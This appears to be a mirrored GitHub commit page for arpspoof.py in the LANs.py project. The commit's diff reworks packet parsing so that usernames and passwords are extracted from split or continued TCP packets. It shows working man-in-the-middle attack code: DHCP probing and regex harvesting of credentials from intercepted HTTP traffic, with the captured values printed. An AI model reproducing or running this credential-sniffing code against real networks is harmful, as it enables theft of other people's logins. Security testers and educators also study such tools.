mirror of
https://github.com/DanMcInerney/LANs.py.git
synced 2025-07-06 21:12:12 -07:00
fixed it so TCP packets that are split or continuations will still be mined for usernames + passwords
This commit is contained in:
parent
f2fa9724a3
commit
dde76d312e
1 changed files with 44 additions and 37 deletions
45
arpspoof.py
45
arpspoof.py
|
@ -70,6 +70,7 @@ dhcp = (Ether(dst='ff:ff:ff:ff:ff:ff')/
|
|||
chr(DHCPRevOptions["server_id"][0]),
|
||||
chr(DHCPRevOptions["name_server"][0]),
|
||||
), "end"]))
|
||||
|
||||
ans, unans = srp(dhcp, timeout=5, retry=1)
|
||||
if ans:
|
||||
for s,r in ans:
|
||||
|
@ -78,6 +79,8 @@ if ans:
|
|||
for idx,x in enumerate(DHCPopt):
|
||||
if 'domain' in x:
|
||||
localDomain = DHCPopt[idx][1]
|
||||
else:
|
||||
localDomain = 'None'
|
||||
if 'name_server' in x:
|
||||
DNSsrvr = DHCPopt[idx][1]
|
||||
else:
|
||||
|
@ -130,12 +133,27 @@ def URL(pkt):
|
|||
headers = pkt
|
||||
body = ''
|
||||
|
||||
if args.post and len(headers) < 450 and not get:
|
||||
headLines = headers.split(r"\r\n")
|
||||
for l in headLines:
|
||||
searchHost = re.search('[Hh]ost: ', l)
|
||||
searchGet = re.search('GET /', l)
|
||||
searchPost = re.search('POST /', l)
|
||||
if searchHost:
|
||||
host = l.split(' ')
|
||||
host = host[1]
|
||||
if searchGet:
|
||||
get = l.split(' ')
|
||||
get = get[1]
|
||||
if searchPost:
|
||||
post = l.split(' ')
|
||||
post = post[1]
|
||||
|
||||
if args.post and len(pkt) < 450:
|
||||
if body != '':
|
||||
username = re.findall('(([Ee]mail|[Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin|[Ll]og)=([^&][^&]*))', body)
|
||||
password = re.findall('(([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp]assw)=([^&][^&]*))', body)
|
||||
if username != [] or password != []:
|
||||
print colors.TAN+'[+] Packet may\'ve been split. Data:',body+colors.ENDC
|
||||
if body != '':
|
||||
print colors.TAN+'[+] Packet may\'ve been split. Load data:',body+colors.ENDC
|
||||
for x in username:
|
||||
for u in x:
|
||||
if '=' in u:
|
||||
|
@ -144,7 +162,11 @@ def URL(pkt):
|
|||
for p in y:
|
||||
if '=' in p:
|
||||
print colors.RED+p+colors.ENDC
|
||||
else:
|
||||
if not get:
|
||||
username = re.findall('(([Ee]mail|[Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin|[Ll]og)=([^&][^&]*))', headers)
|
||||
password = re.findall('(([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp]assw)=([^&][^&]*))', headers)
|
||||
if username != [] or password != []:
|
||||
print colors.TAN+'[+] Packet may\'ve been split. Load data:',headers+colors.ENDC
|
||||
for x in username:
|
||||
for u in x:
|
||||
if '=' in u:
|
||||
|
@ -181,21 +203,6 @@ def URL(pkt):
|
|||
# print colors.RED+p.group()+colors.ENDC
|
||||
# counter = 0
|
||||
|
||||
headLines = headers.split(r"\r\n")
|
||||
for l in headLines:
|
||||
searchHost = re.search('[Hh]ost: ', l)
|
||||
searchGet = re.search('GET /', l)
|
||||
searchPost = re.search('POST /', l)
|
||||
if searchHost:
|
||||
host = l.split(' ')
|
||||
host = host[1]
|
||||
if searchGet:
|
||||
get = l.split(' ')
|
||||
get = get[1]
|
||||
if searchPost:
|
||||
post = l.split(' ')
|
||||
post = post[1]
|
||||
|
||||
if host and get:
|
||||
url = host+get
|
||||
if host and post:
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue